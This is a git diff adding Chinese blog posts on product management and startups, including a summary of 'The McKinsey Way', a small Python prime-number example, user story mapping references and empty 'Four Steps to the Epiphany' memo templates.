+2，企业服务也是未来的一大机会。美国的企业服务领先中国10年都不夸张，美国的企业服务领域有很多的巨无霸，几百亿美金，甚至上千亿美金的公司都有。但是中国的企业服务领域还很少有做这么大的。其中一个核心原因是中国在过去2C端的红利太大了，使得大家野蛮狂奔就行了，不太需要花时间做内功。 + +但是今天红利一下子没了，企业发展也慢了，内部管理的问题也出来了，大家需要做内功了。比拼效率的时候，就是企业服务能够提供的价值的时候。所以我觉得企业服务业是未来一个很有价值的领域。 + +# 参考 ++ [程浩：如何用“精益”方法让企业少走弯路？](hundun.cn/course/article/7c4e6e9358b81d7e072e1a380ef74119) \ No newline at end of file diff --git a/_posts/2021-01-24-510-TheMcKinseyWay.md b/_posts/2021-01-24-510-TheMcKinseyWay.md new file mode 100644 index 0000000..09b1d42 --- /dev/null +++ b/_posts/2021-01-24-510-TheMcKinseyWay.md @@ -0,0 +1,118 @@ +--- +layout: post +title: 麦肯锡方法 +pid: 510 +tags: [产品经理, 创业] + +--- + +麦肯锡在管理咨询的行业内可谓是极具威望，他1923年创立于美国，是世界上最顶级的咨询公司之一。麦肯锡公司在84个国家设有分公司。顾客包括许多世界500强企业和国家政府，它在全球拥有了近万名咨询顾问。其中大多都是来自于常青藤名校，麦肯锡被福布斯杂志评为世界上最大的领导者黄埔军校。目前，有200多位10亿美元以上市值公司的CEO是出自麦肯锡。许多管理大师比如汤姆彼得斯、大前研一、卡岑巴赫等也曾经是麦肯锡的咨询顾问，在外界看来，一个优秀人才在麦肯锡工作3、5年后就能到其他地方担任高管职位。那么麦肯锡到底有什么工作方法能迅速把一个没有任何管理经验的年轻人训练成能解决复杂问题的业绩专家呢？ + +我们这本书里就有答案。本书作者是艾森拉塞尔，毕业于鼎鼎大名的沃顿商学院。他曾经担任过伦敦水星资产管理公司的股权基金经理，也曾是一位投资银行家。后来加入了麦肯锡，成为经验丰富的管理咨询顾问。 + +拉塞尔把自己在麦肯锡的经历总结成了三本书，分别是《麦肯锡方法》、《麦肯锡意识》和《麦肯锡工具》。这套书引进国内后，得到了清华大学经管领导力研究中心的推荐。而《麦肯锡方法》是这个系列的理论基础，一位美国企业家看到这本书之后开玩笑说，有了《麦肯锡方法》就好像旁边有一名麦肯锡专家在鼎力相助，还不用付咨询费。 + +《麦肯锡方法》这本书共有五个章节，介绍了麦肯锡的咨询顾问们思考和解决各种复杂问题的方法，我们用三个部分为你解读本书的精华内容。 + ++ 第一部分，麦肯锡思考问题的方法是什么？ ++ 第二部分，麦肯锡日常工作中有哪些技巧？ ++ 第三部分，麦肯锡如何推进自己的方案？ + +# 第一部分 麦肯锡思考问题的方法是什么？ + +拉塞尔认为麦肯锡思考问题的方法分为三个步骤。 + ++ 第一，定义问题 ++ 第二，拆解问题 ++ 第三，建立初始假设，解决问题 + +## 第一步，定义问题。 + +通常第一次见面，企业会抛给咨询顾问一些非常笼统的问题，就好像病人去医院，告诉医生她不舒服，具体得什么病了他不知道，他只能猜测自己是不是得了流感。医生不能听病人说是什么病就开什么药。他需要通过询问、检查，找出病因，咨询顾问的工作也是如此。 + +首先要做的就是去定义问题，到底什么是真正需要解决的问题？有些时候，企业提出的问题是x，但是真正的问题可能是y，x和y是两回事。举个例子，曾经有一家制造企业邀请麦肯锡前去评估某个部分的扩张机会。但是，最后麦肯锡发现，这个部门的真正问题不是如何扩张，而是如何尽快关闭。 + +那么，怎么精准的定义问题呢？拉塞尔说，**以事实为友**，就是说，通过大量的事实研究，分析影响该问题的核心要素有哪些。对于咨询顾问而言，以事实为友的原则更像是一个保护自己的武器。假如你作为一个顾问，要去面对经验丰富的高层管理者，如何才能让人家第一次见面就相信你比他更懂呢？最有效的方法就是用数据说话。 + +就像在谈论美食的时候，你不只是评价色香味，还说食材、产地和饮食文化等知识。这些信息是别人不了解的，别人就愿意相信你比他们更懂美食，你是一个行家，总结一下：**思考解决问题的第一步要先去定义核心问题是什么。**这是为了更专注地开展下一步工作。而且这个过程要收集大量事实做理论基础，事实不仅是定义问题的关键。还帮助你在和企业高管兑换的过程中快速取得信任。 + +## 第二步，拆解问题。 + +你就要用到**MECE法则**，作为切入问题的第一个工具，MECE这个单词是由mutually、exclusive、collectively、exhaustive这四个单词的首字母组成，书中给他的解释为，**相互独立，完全穷尽**。相互独立意味着拆分的子问题没有交叉。完全穷尽则是分解的子集尽可能周密、面面俱到。换言之，就是把一个复杂问题分解成若干个问题，一般一个复杂问题可以分解为五个分支问题。然后，这几个分支问题还可以继续拆分，经过这个过程，最后会形成一个树状逻辑图。运用MECE法则 + ++ 一是为了更高效，更全面地去思考问题， ++ 二是拆分的过程能够帮助我们更快地找到一些关键因素。 + +假如你是一个装饰品公司的老板，你想要增加装饰品的销量，你可以把它拆分成三个小的环节。比如，改变营销零售网点方式，或者降低单位成本，还有改进向顾客销售的方式等等。把它们分别列在下面，以此类推，在不断拆分的分支下面，问题越来越聚焦，从一个大而难的问题变成了容易解决的小问题。最后，你会发现增加销量这个问题，可能变成你是否要在下一个季度增加促销活动，或者说，在零售店是否需要增加销售人员等具体实际。 + +总结一下初步的定义问题后，要用MECE法则对问题进行拆分，得到一个问题清单。就是一个倒金字塔形的树状结构图。拆分的过程中要不断地问自己，**我是不是把所有可能的因素都考虑到了，分解的问题之间有没有交叉和重复？**MECE法则是一个非常重要的逻辑思考能力，工作和生活的大部分问题都可以用MECE的方法形成一个结构清单。多多练习也会培养大家的逻辑能力和发现问题的能力。当你拥有了MECE清单之后，就到了思考问题的第三步。 + +## 第三步，建立初始假设。 + +这是一个用结果去指引过程的方法，通俗来讲就是拆分完复杂问题之后。就要对解决方案有一个评估和预测，史蒂芬柯维在他的畅销书《高效能人士的七个习惯》中也提到了这个以终为始的观点。比如你凭借经验给家人做一次蛋挞，但是，结果发现并没有预想得那么甜。这时你就会想，是不是糖放少了，下次改变配料配比，以便达到预期效果，这就是一个初始假设。 + +我们根据经验建立假设也好，以事实作为依据建立假设也罢，初始假设都不是真正的答案。他仅仅是一个需要被验证的假设，只有经得起推敲才能使假设成真。 + +拉塞尔说。要想找到假设，需要先翻一番这个行业的资料，找到有效信息，比如一些专业术语，现状如何等等。同时，他也会通过该领域的专家或者从业者了解更多相关情况，当你有了一定的背景知识积累。就要分析收集到的事实，但是，如何分析呢？ + +拉塞尔告诉我们，分析过程不必针对所有的信息。只要专注耐心于**关键驱动因素**相关的信息就可以了，那么什么是关键驱动因素呢？用我们熟知的**二八法则**就容易发现。在一个问题中，有20%的因素会对结果产生80%的影响，这20%的因素就是关键驱动因素。 + +例如，种植行业的产量和生产成本经常受天气影响，那么天气就是利润的关键性因素。所以，我们需要解决的问题就是要提高企业应对天气变化的风险控制能力。找到关键驱动因素的目的是把复杂的问题简化，事半功倍地去做事情，通过关键驱动因素建立初始假设之后。就要检查提出的初始假设，这就好比在出发之前检测一下你选择的线路图是否可靠。是否给出了最好的方案？是不是所有的关键驱动因素都考虑到了？等等，总之，就跟你考试一样。最后总要再次检查，这也是对工作负责的态度。 + +我们总结一下第一部分的内容。麦肯锡方法的思考的流程为： ++ 第一，面对问题收集相关的事实，从中定义要解决的问题是什么。 ++ 第二，利用MECE法则对复杂问题的切入拆分，逐步将复杂问题拆分成若干个容易解决的小问题。 ++ 第三，建立一个假设，并且不断地找事实去验证，修正你的设想，最终解决问题。 + +# 第二部分 麦肯锡顾问们的日常工作中有哪些技巧？ + +## 第一种技巧，合理利用前辈的经验。 + +我们生活在信息指数增长的时代，很多问题早在你遇到之前就有了答案，所以，遇到一个问题，先看看前辈们是不是已经解决了。作者提到，麦肯锡有一个电子数据库叫PD网，这个数据库是麦肯锡的前辈们留下的一块宝藏。里面有大量的项目和内部研究的报告，大部分菜鸟顾问都可以找到想要的类似方案。通过借鉴前辈们不断积累的数据和经验，不仅节省了时间，也可以更快投入研究。同时，麦肯锡还有十分专业的专家团队，当你不了解某个领域时，你可以通过和专业人士交流。快速获取某个领域的专业知识，总说良师益友难得，一定要合理利用身边的良师，可能是公司数据库文件，研究报告，培训手册或者资深同事、老师。另外，我们还可以借助于行业杂志、数据包、互联网等渠道。毕竟还是那句话，大家工作时间有限，不要自己闷头造车轮。 + +## 第二种技巧，通过年报了解公司信息。 + +如果你想迅速了解一家公司。**第一要找到他们的年报**，财务数据背后可是包含了大量信息，拿到年报后简单浏览一下股东信息或者董事长寄语。可别小看这些容易被你忽略的内容，透过这些你会发现公司上一年度的表现如何。以及领导者的展望。**第二关注公司的财务指标**，明细了解财务上的基本信息，财务是一个公司晴雨表的直观反映。这里要重点研究数字，他是公司情况的直观展现，财务报表里的数字往往就是关键信息所在。**第三就是寻找数据里的异常值**，异常通俗来说就是表现特别好、特别差的数据。这个时候就要同类排列比较，比如，你正在收集一家公司销售人员的数据，你手里有每个人员过去三年的平均销售额。你只要把这个数据录入到一个分析表中，然后从高到低排列下来，其中表现最好和最差的几个数字可能就是异常值。当你发现异常之后，就要找到异常的原因，比如报表中某一季度销量突然降低，或者是某一环节的成本特别高。或者有一个销售团队居然能战斗销售总额的一半以上，这些异常值都会成为解决问题的突破口。之前我们总是说，以事实为友，这些数字其实啊，就是你要找到的又一个朋友。 + +## 第三种技巧，和人打交道的艺术 + +讲过前面两个分析技巧后，书中也提到了和人打交道的艺术，拉塞尔给我们讲了麦肯锡做访谈的一些经验和方法，大致流程可以分为**访谈前、访谈时、访谈后三个环节**。 + +首先，在访谈前你要认真的准备一个提纲。第一你需要通过提纲明确知道核心问题是什么，其次也是最重要的，你要明白试图达到的目的是什么。以及为什么要访问某人，提前写一份访谈提纲还可以保证遇到突发问题能处理得当。因为我们谈判时，现场有很多不可控的因素，这些因素会让你自乱阵脚，而有一份提纲却可以防止话题被带偏。有助于你找到访谈的切入点，集中于焦点问题，保证访谈高效进行。 + +接下来进行访谈的时候，切记先从一般性的问题开始。比如行业概况，目前的一些发展目标等等，千万不要直接扎进敏感领域。因为麦肯锡的访谈对象都知道麦肯锡的一些方案和建议会触动他们的利益，所以如果访谈过于激进会让他们感到紧张。提供一些无用的信息，所以需要通过一些技巧逐渐带动被访者进入状态，建立和谐关系。 + +访谈结束后，还可以尝试“哥伦波策略”，这个策略来自一位名叫哥伦波的探长。他每一次审问嫌疑人都会做出准备离开的动作，当走到门口时突然回头对嫌疑人说：“不好意思啊，我刚有个问题忘了问。”在嫌疑人刚刚感觉松了一口气的时候突然被提问，会做出一些下意识的回答，往往就能告诉哥伦波探长谁才是真正的犯人，同样，正常情况下，访谈结束后，被访者都会放松警惕。如果你想得到一些有用的信息，歌伦波策略确实是个好方法，你可以等访谈结束一两天后假装路过拜访。告诉被访者忽然想起自己忘了问某个问题，这同样会使你看起来不那么有进攻性。从而让你更容易获得需要的信息。 + +访谈结束后，我们应该对被访者表达感谢。工作中，我们每一天面对太多不同的朋友，有时一点点礼貌就能带来长期的交往。而这样小的举动往往也会带来意想不到的回报。 + +# 第三部分 麦肯锡如何推介自己的方案？ + +作者在书中说了这么一句话，无论你的方案做得多么完美，只要你的客户不愿意购买它，这个方案就是一文不值的。所以，你的工作成果只有通过合适的方式展示出来才会被看到、被认可。那么如何作汇报、展示呢？要做好三点准备， + +## 第一是你要把汇报系统化。 + +所谓系统化。就是你必须形成层级分明，可以随时调用的逻辑体系。拉塞尔说，一个成功的汇报必须让听众能够听明白你的逻辑关系。说到这里，倒是有一个非常有趣的**30秒电梯原则**，试想一个场景，如果你和客户或者老板在电梯内相遇了。而且只有30秒的相处时间，这时你要如何清晰而准确地向对方阐述方案引起他们的兴趣呢？这里就是对你逻辑清晰度的考验，首先，你要提炼你的最终观点，直接给出问题的结果。其次，要对你的方案了如指掌，同时能够表达清楚你找到的关键驱动因素，而这两点做好了。大部分人都会想继续听听你的方案。 + +## 第二点要记住一句话，努力的边际收益是递减的。 + +这里拉塞尔问了一个问题，我们是不是在一个项目明天就要交的时候还和团队熬夜？拼命？但是按照麦肯锡的方法，我们要改变这种习惯，因为在这个阶段，团队应该把精力放在关键因素上。如果已经形成纸质方案，不如让团队好好休息，这可比吹毛求疵地找一些问题重要得多。拉塞尔告诉我们一个原则，就是在汇报开始的24小时前要尽可能完成诸如打印、准备材料这样的基本工作，留出时间调整状态和思考可能出现的突发情况。 + +## 准备汇报中的第三点是要事先沟通，未雨绸缪。 + +前面也提到，麦肯锡参与的项目经常会涉及一些人的利益，试想如果你是顾问，你刚提出要缩减投入。下面就开始议论纷纷了，此时你的回报很可能变成一场吵架比赛，所以为了避免这一幕发生了。提前说服相关部门接受方案就显得非常重要，提前商量，会使相关利益部门有一定的心理准备。避免会议上直接说出来，让对方心里不舒服。大家都不喜欢，被动的接受通知，不是吗？ + +在具体汇报的时**麦肯锡图表**作为与客户交流的基本工具，麦肯锡的图表一般都坚持简单为上的原则。这与现在越来越酷炫的ppt还是有差别的，他们认为，图表越复杂，信息传递的效果就越差。图表是你表达想法的一个工具，千万不要把它当做一种艺术品，所以麦肯锡的图表由三种特征。第一通常用黑色和白色印刷。第二，除非觉得有必要，基本不采用三维制图。第三坚持一图明一事的重要原则。前两项其实是基于视觉上的考虑，不要让那些复杂的颜色和有迷惑性的三维图像压过你想要表达的核心信息。**一图明一事**则是一种影响听众的方式，让他们能够专注于以展现在面前的图片所表达的内容。不至于抓不住重点，同时，图表中的信息可能是比较复杂的，所以要运用简洁的标题来表达图表的观点。最后，为了避免枯燥，展示一些资料来支撑自己的观点，一个清晰的汇报工作就会很好的呈现出来。 + +在这里呢，拉塞尔还介绍了**公司内部沟通以及和客户合作的一些技巧**，比如麦肯锡的团队沟通机制。他们要求保证项目团队都在消息圈内，就是说团队内部的信息沟通要透明，以便让团队成员知道自己工作的意义。其次，要让上司知道团队在做什么，让他知道一切是可控的，这既能让上司参与、支持工作，有一些满足感。又能在出现问题时发挥自己的优势。帮你处理问题，最后，拉塞尔说，客户是麦肯锡的生命之源。是维持其运行的生命之水，在和客户打交道时，要找到共同利益去吸引客户。而我们要实现的目标变成他们的目标，让他们明白麦肯锡提出的方案能解决他们的问题。给他们带来利益，其实，这就是我们常说的双赢。其次，每一个项目中都会有一些人不配合你。不用焦虑和生气，最好的办法就是邀请他参与整个项目，其实这个过程过程也意味着他对你工作的支持。也就会提供你所需的资源，同样的，和客户定期开会，让客户明白我们是为他们着想的。参与其中，会让他们觉得自己也有功劳，这种自我认同感，会让客户在别人面前主动维护你所提出的项目。 + +简单回顾一下。 + +第一部分，我们介绍了麦肯锡思考问题的方法。首先是收集事实、定位问题，然后运用MECE法则形成树状图，最后是建立初始假设，找到关键驱动因素并用事实去验证假设的真伪。 + +第二部分，介绍了麦肯锡日常工作中的方法，包括利用前辈经验进行研究。通过年报数据，挖掘信息以及访谈的方法。 + +第三部分，我们介绍了推介方案的方法，包括给报告建立一个清晰的逻辑体系。提前让关键利益人了解到基本内容，同时在报告中做到简洁，重点，明确。麦肯锡的方法论并不神秘，工作当中我们遇到问题要踏实地分析，透过表象看到本质。 + +# 参考 ++ [麦肯锡方法](https://www.bilibili.com/video/BV1G54y1X7H3?from=search&seid=14992181816968927162) \ No newline at end of file diff --git a/_posts/2021-01-28-511-processdemo.md b/_posts/2021-01-28-511-processdemo.md new file mode 100644 index 0000000..6d3fe52 --- /dev/null +++ b/_posts/2021-01-28-511-processdemo.md @@ -0,0 +1,27 @@ +--- +layout: post +title: 一个流程图示例 +pid: 511 +tags: [流程图] + +--- + +这只是一个示例 ，并非最优解。 + +```python + num = 2 + while num <= 100: + i = 2 + while i < num: + if num%i == 0: break + i += 1; + if i == num : print num + num += 1 + +``` + + +推荐流程图画法 + +![](/uploads/2021/01/28-01.jpg) + diff --git a/_posts/2021-02-02-512-UserStoryMapping.md b/_posts/2021-02-02-512-UserStoryMapping.md new file mode 100644 index 0000000..0b66dd9 --- /dev/null +++ b/_posts/2021-02-02-512-UserStoryMapping.md @@ -0,0 +1,76 @@ +--- +layout: post +title: User Story Mapping +pid: 512 +tags: [产品经理, 创业] + +--- + +> 用户故事不是另外一种写需求的方式，故事是用来讲的，不是用来写的，主要是为了建立共识。 + + +```shell +A1 A2 A3 (user activities = backbone) +T1 T2 T3 T4 T5 T6 T7 T8 T9 (user tasks = skeleton & timeline) +``` + + +![](/uploads/2021/02/02-01.png) + +![](/uploads/2021/02/02-02.png) + +![](/uploads/2021/02/02-03.png) + +![](/uploads/2021/02/02-04.png) + +![](/uploads/2021/02/02-05.png) + +![](/uploads/2021/02/02-06.png) + +![](/uploads/2021/02/02-07.png) + +![](/uploads/2021/02/02-08.png) + +![](/uploads/2021/02/02-09.png) + +![](/uploads/2021/02/02-10.png) + +![](/uploads/2021/02/02-11.png) + +![](/uploads/2021/02/02-12.jpg) + +![](/uploads/2021/02/02-13.jpg) + +![](/uploads/2021/02/02-14.png) + +![](/uploads/2021/02/02-15.jpg) + + + + + + + +# 参考 + ++ [创建用户故事地图(User Story Mapping)的8个步骤](http://www.woshipm.com/pd/270289.html) ++ [How to create a User Story Map](http://winnipegagilist.blogspot.com/2012/03/how-to-create-user-story-map.html) ++ [如何绘制用户故事地图](https://zhuanlan.zhihu.com/p/51819306) ++ [如何做好用户故事地图？来看蚂蚁金服的实战案例！](https://www.uisdc.com/user-maps-design-ali-case) ++ [Design Thinking](https://www.ideou.com/pages/design-thinking) ++ [the-new-backlog](https://www.jpattonassociates.com/the-new-backlog/) ++ [User story maps: Tips and tricks to get you started fast](https://www.beliminal.com/quickstart-guide-to-user-story-maps/) ++ [User Story Mapping (by Jeff Patton) — Bullet Summary](https://medium.com/@ivanlandabaso/user-story-mapping-by-jeff-patton-bullet-summary-1bf7b673e181) ++ [Story Map Concepts](http://www.jpattonassociates.com/wp-content/uploads/2015/03/story_mapping.pdf) ++ [Story Mapping — Part 1](https://uxknowledgebase.com/story-mapping-part-1-e65b0b74591) ++ [Story Mapping — Part 2](https://uxknowledgebase.com/story-mapping-part-2-3b0e9e0cf2ef) ++ [Product Development Processes](https://uxknowledgebase.com/product-development-processes-f9713b3b067) ++ [Prioritization](https://uxknowledgebase.com/prioritization-cce48e4618ca) ++ [How to prepare for User story mapping session — tips and tricks](https://medium.com/@katerina_mnuk/user-story-mapping-tips-and-tricks-dea4e2ffbae4) ++ [Story Mapping, Visual Way of Building Product Backlog](https://www.thoughtworks.com/insights/blog/story-mapping-visual-way-building-product-backlog) ++ [USER STORY MAPPING IN SOFTWARE DEVELOPMENT: KEEPING AN EYE ON THE BIG PICTURE](https://www.knowis.com/blog/user-story-mapping-in-software-development-keeping-an-eye-on-the-big-picture) ++ [A Guide to User Story Mapping: Templates and Examples (How to Map User Stories)](https://plan.io/blog/user-story-mapping/) ++ [USER STORY MAPPING](https://powerslides.com/powerpoint-industry/technology-templates/user-story-mapping/) ++ [Powerpoint User Story Mapping Template](https://business-docs.co.uk/downloads/powerpoint-user-story-mapping-template/) ++ [PRODUCT DEVELOPER’S GUIDE TO THE STORY MAPPING GALAXY](https://www.syncroness.com/2018-10-8-product-developers-guide-to-the-story-mapping-galaxy/) + diff --git a/_posts/2021-02-03-513-consensus.md b/_posts/2021-02-03-513-consensus.md new file mode 100644 index 0000000..735532f --- /dev/null +++ b/_posts/2021-02-03-513-consensus.md @@ -0,0 +1,20 @@ +--- +layout: post +title: 我们达成了共识？ +pid: 513 +tags: [产品经理, 创业] + +--- + +> 我们达成了共识？ + +![](/uploads/2021/02/03-01.jpg) + +![](/uploads/2021/02/03-02.jpg) + +![](/uploads/2021/02/03-03.jpg) + +![](/uploads/2021/02/03-04.jpg) + +我们达成共识？ + diff --git a/_posts/2021-02-10-514-TheFourStepstotheEpiphany.md b/_posts/2021-02-10-514-TheFourStepstotheEpiphany.md new file mode 100644 index 0000000..95bff1a --- /dev/null +++ b/_posts/2021-02-10-514-TheFourStepstotheEpiphany.md @@ -0,0 +1,68 @@ +--- +layout: post +title: 【四步创业法】目录 +pid: 514 +tags: [产品经理, 创业] + +--- + +四步创业法目录 + +# 流程 + ++ [客户发展方法](https://www.processon.com/view/link/6032295d079129248a48def1) ++ [客户探索流程](https://www.processon.com/view/link/603229996376896cd6e86909) ++ [客户检验流程](https://www.processon.com/view/link/603229bce0b34d12441c07e5) ++ [客户培养流程](https://www.processon.com/view/link/603229daf346fb2a7e1c0845) ++ [组建公司流程](https://www.processon.com/view/link/603229f86376896cd6e86975) + + +# 步骤 + ++ [客户探索步骤](https://www.processon.com/view/link/60322a1d5653bb4bcfcbd2bf) ++ [客户检验步骤](https://www.processon.com/view/link/60322a637d9c0872a676b172) ++ [客户培养步骤](https://www.processon.com/view/link/60322a70e401fd0290e419fd) ++ [组建公司步骤](https://www.processon.com/view/link/60322a7f079129248a48e0a3) + +# 备忘录 + +## 客户探索备忘录 + ++ [客户探索备忘录 0-A 争取董事会和团队的支持](http://www.baoguoding.com/2021/02/515-TheFourStepstotheEpiphany1-0A.html) ++ [客户探索备忘录 0-B 团队](http://www.baoguoding.com/2021/02/516-TheFourStepstotheEpiphany1-0B.html) ++ [客户探索备忘录 1-A 产品假设](http://www.baoguoding.com/2021/02/517-TheFourStepstotheEpiphany1-1A.html) ++ [客户探索备忘录 1-B 客户假设](http://www.baoguoding.com/2021/02/518-TheFourStepstotheEpiphany1-1B.html) ++ [客户探索备忘录 1-C 渠道和定价假设](http://www.baoguoding.com/2021/02/519-TheFourStepstotheEpiphany1-1C.html) ++ [客户探索备忘录 1-D 需求创造假设](http://www.baoguoding.com/2021/02/520-TheFourStepstotheEpiphany1-1D.html) ++ [客户探索备忘录 1-E 市场类型假设](http://www.baoguoding.com/2021/02/521-TheFourStepstotheEpiphany1-1E.html) ++ [客户探索备忘录 1-F 竞争优势假设](http://www.baoguoding.com/2021/02/522-TheFourStepstotheEpiphany1-1F.html) ++ [客户探索备忘录 2-A 约见潜在客户](http://www.baoguoding.com/2021/02/523-TheFourStepstotheEpiphany1-2A.html) ++ [客户探索备忘录 2-B 验证客户的问题](http://www.baoguoding.com/2021/02/524-TheFourStepstotheEpiphany1-2B.html) ++ [客户探索备忘录 2-C 深入理解客户](http://www.baoguoding.com/2021/02/525-TheFourStepstotheEpiphany1-2C.html) ++ [客户探索备忘录 2-D 收集市场信息](http://www.baoguoding.com/2021/02/526-TheFourStepstotheEpiphany1-2D.html) ++ [客户探索备忘录 3-A 第一次评估产品假设](http://www.baoguoding.com/2021/02/527-TheFourStepstotheEpiphany1-3A.html) ++ [客户探索备忘录 3-B 准备产品演示](http://www.baoguoding.com/2021/02/528-TheFourStepstotheEpiphany1-3B.html) ++ [客户探索备忘录 3-C 再次拜访客户](http://www.baoguoding.com/2021/02/529-TheFourStepstotheEpiphany1-3C.html) ++ [客户探索备忘录 3-D 第二次评估产品假设](http://www.baoguoding.com/2021/02/530-TheFourStepstotheEpiphany1-3D.html) ++ [客户探索备忘录 4-A 阶段小结](http://www.baoguoding.com/2021/02/531-TheFourStepstotheEpiphany1-4A.html) + + +## 客户检验备忘录 + ++ [客户检验备忘录 1-A 提出价值主张](http://www.baoguoding.com/2021/02/532-TheFourStepstotheEpiphany2-1A.html) ++ [客户检验备忘录 1-B 准备销售材料](http://www.baoguoding.com/2021/02/533-TheFourStepstotheEpiphany2-1B.html) ++ [客户检验备忘录 1-C 制定渠道策略](http://www.baoguoding.com/2021/02/534-TheFourStepstotheEpiphany2-1C.html) ++ [客户检验备忘录 1-D 制定销售路线图](http://www.baoguoding.com/2021/02/535-TheFourStepstotheEpiphany2-1D.html) ++ [客户检验备忘录 1-E 统一内部意见](http://www.baoguoding.com/2021/02/536-TheFourStepstotheEpiphany2-1E.html) ++ [客户检验备忘录 1-F 正式组建产品顾问委员会](http://www.baoguoding.com/2021/02/537-TheFourStepstotheEpiphany2-1F.html) ++ [客户检验备忘录 2-A 物色天使客户](http://www.baoguoding.com/2021/02/538-TheFourStepstotheEpiphany2-2A.html) ++ [客户检验备忘录 2-B 检验销售路线图](http://www.baoguoding.com/2021/02/539-TheFourStepstotheEpiphany2-2B.html) ++ [客户检验备忘录 2-C 检验渠道策略](http://www.baoguoding.com/2021/02/540-TheFourStepstotheEpiphany2-2C.html) ++ [客户检验备忘录 3-A 调整产品定位](http://www.baoguoding.com/2021/02/541-TheFourStepstotheEpiphany2-3A.html) ++ [客户检验备忘录 3-B 调整公司定位](http://www.baoguoding.com/2021/02/542-TheFourStepstotheEpiphany2-3B.html) ++ [客户检验备忘录 3-C 向行业分析师和有影响力的人展示产品](http://www.baoguoding.com/2021/02/543-TheFourStepstotheEpiphany2-3C.html) ++ [客户检验备忘录 4-A 阶段小结](http://www.baoguoding.com/2021/02/544-TheFourStepstotheEpiphany2-4A.html) + + + + diff --git a/_posts/2021-02-21-515-TheFourStepstotheEpiphany1-0A.md b/_posts/2021-02-21-515-TheFourStepstotheEpiphany1-0A.md new file mode 100644 index 0000000..b5932a3 --- /dev/null +++ b/_posts/2021-02-21-515-TheFourStepstotheEpiphany1-0A.md @@ -0,0 +1,14 @@ +--- +layout: post +title: 【四步创业法】客户探索备忘录 0-A 争取董事会和团队的支持 +pid: 515 +tags: [产品经理, 创业] + +--- + +目标： +记录者： +时间： +完成条件： + + diff --git a/_posts/2021-02-21-516-TheFourStepstotheEpiphany1-0B.md b/_posts/2021-02-21-516-TheFourStepstotheEpiphany1-0B.md new file mode 100644 index 0000000..52987b6 --- /dev/null +++ b/_posts/2021-02-21-516-TheFourStepstotheEpiphany1-0B.md @@ -0,0 +1,14 @@ +--- +layout: post +title: 【四步创业法】客户探索备忘录 0-B 团队 +pid: 516 +tags: [产品经理, 创业] + +--- + +目标： +记录者： +时间： +完成条件： + + diff --git a/_posts/2021-02-21-517-TheFourStepstotheEpiphany1-1A.md b/_posts/2021-02-21-517-TheFourStepstotheEpiphany1-1A.md new file mode 100644 index 0000000..351cb62 --- /dev/null +++ b/_posts/2021-02-21-517-TheFourStepstotheEpiphany1-1A.md @@ -0,0 +1,14 @@ +--- +layout: post +title: 【四步创业法】客户探索备忘录 1-A 产品假设 +pid: 517 +tags: [产品经理, 创业] + +--- + +目标： +记录者： +时间： +完成条件： + + diff --git a/_posts/2021-02-21-518-TheFourStepstotheEpiphany1-1B.md b/_posts/2021-02-21-518-TheFourStepstotheEpiphany1-1B.md new file mode 100644 index 0000000..26a534c --- /dev/null +++ b/_posts/2021-02-21-518-TheFourStepstotheEpiphany1-1B.md @@ -0,0 +1,15 @@ +--- +layout: post +title: 【四步创业法】客户探索备忘录 1-B 客户假设 +pid: 518 +tags: [产品经理, 创业] + +--- + +目标： +记录者： +时间： +完成条件： + + + diff --git a/_posts/2021-02-21-519-TheFourStepstotheEpiphany1-1C.md b/_posts/2021-02-21-519-TheFourStepstotheEpiphany1-1C.md new file mode 100644 index 0000000..73d7706 --- /dev/null +++ b/_posts/2021-02-21-519-TheFourStepstotheEpiphany1-1C.md @@ -0,0 +1,14 @@ +--- +layout: post +title: 【四步创业法】客户探索备忘录 1-C 渠道和定价假设 +pid: 519 +tags: [产品经理, 创业] + +--- + +目标： +记录者： +时间： +完成条件： + + diff --git a/_posts/2021-02-21-520-TheFourStepstotheEpiphany1-1D.md b/_posts/2021-02-21-520-TheFourStepstotheEpiphany1-1D.md new file mode 100644 index 0000000..88f1a37 --- /dev/null +++ b/_posts/2021-02-21-520-TheFourStepstotheEpiphany1-1D.md @@ -0,0 +1,14 @@ +--- +layout: post +title: 【四步创业法】客户探索备忘录 1-D 需求创造假设 +pid: 520 +tags: [产品经理, 创业] + +--- + +目标： +记录者： +时间： +完成条件： + + diff --git a/_posts/2021-02-21-521-TheFourStepstotheEpiphany1-1E.md b/_posts/2021-02-21-521-TheFourStepstotheEpiphany1-1E.md new file mode 100644 index 0000000..6ee3c2b --- /dev/null +++ b/_posts/2021-02-21-521-TheFourStepstotheEpiphany1-1E.md @@ -0,0 +1,14 @@ +--- +layout: post +title: 【四步创业法】客户探索备忘录 1-E 市场类型假设 +pid: 521 +tags: [产品经理, 创业] + +--- + +目标： +记录者： +时间： +完成条件： + + diff --git a/_posts/2021-02-21-522-TheFourStepstotheEpiphany1-1F.md b/_posts/2021-02-21-522-TheFourStepstotheEpiphany1-1F.md new file mode 100644 index 0000000..d7973c2 --- /dev/null +++ b/_posts/2021-02-21-522-TheFourStepstotheEpiphany1-1F.md @@ -0,0 +1,14 @@ +--- +layout: post +title: 【四步创业法】客户探索备忘录 1-F 竞争优势假设 +pid: 522 +tags: [产品经理, 创业] + +--- + +目标： +记录者： +时间： +完成条件： + + diff --git a/_posts/2021-02-21-523-TheFourStepstotheEpiphany1-2A.md b/_posts/2021-02-21-523-TheFourStepstotheEpiphany1-2A.md new file mode 100644 index 0000000..34365fa --- /dev/null +++ b/_posts/2021-02-21-523-TheFourStepstotheEpiphany1-2A.md @@ -0,0 +1,14 @@ +--- +layout: post +title: 【四步创业法】客户探索备忘录 2-A 约见潜在客户 +pid: 523 +tags: [产品经理, 创业] + +--- + +目标： +记录者： +时间： +完成条件： + + diff --git a/_posts/2021-02-21-524-TheFourStepstotheEpiphany1-2B.md b/_posts/2021-02-21-524-TheFourStepstotheEpiphany1-2B.md new file mode 100644 index 0000000..d005d99 --- /dev/null +++ b/_posts/2021-02-21-524-TheFourStepstotheEpiphany1-2B.md @@ -0,0 +1,14 @@ +--- +layout: post +title: 【四步创业法】客户探索备忘录 2-B 验证客户的问题 +pid: 524 +tags: [产品经理, 创业] + +--- + +目标： +记录者： +时间： +完成条件： + + diff --git a/_posts/2021-02-21-525-TheFourStepstotheEpiphany1-2C.md b/_posts/2021-02-21-525-TheFourStepstotheEpiphany1-2C.md new file mode 100644 index 0000000..76a5ef3 --- /dev/null +++ b/_posts/2021-02-21-525-TheFourStepstotheEpiphany1-2C.md @@ -0,0 +1,14 @@ +--- +layout: post +title: 【四步创业法】客户探索备忘录 2-C 深入理解客户 +pid: 525 +tags: [产品经理, 创业] + +--- + +目标： 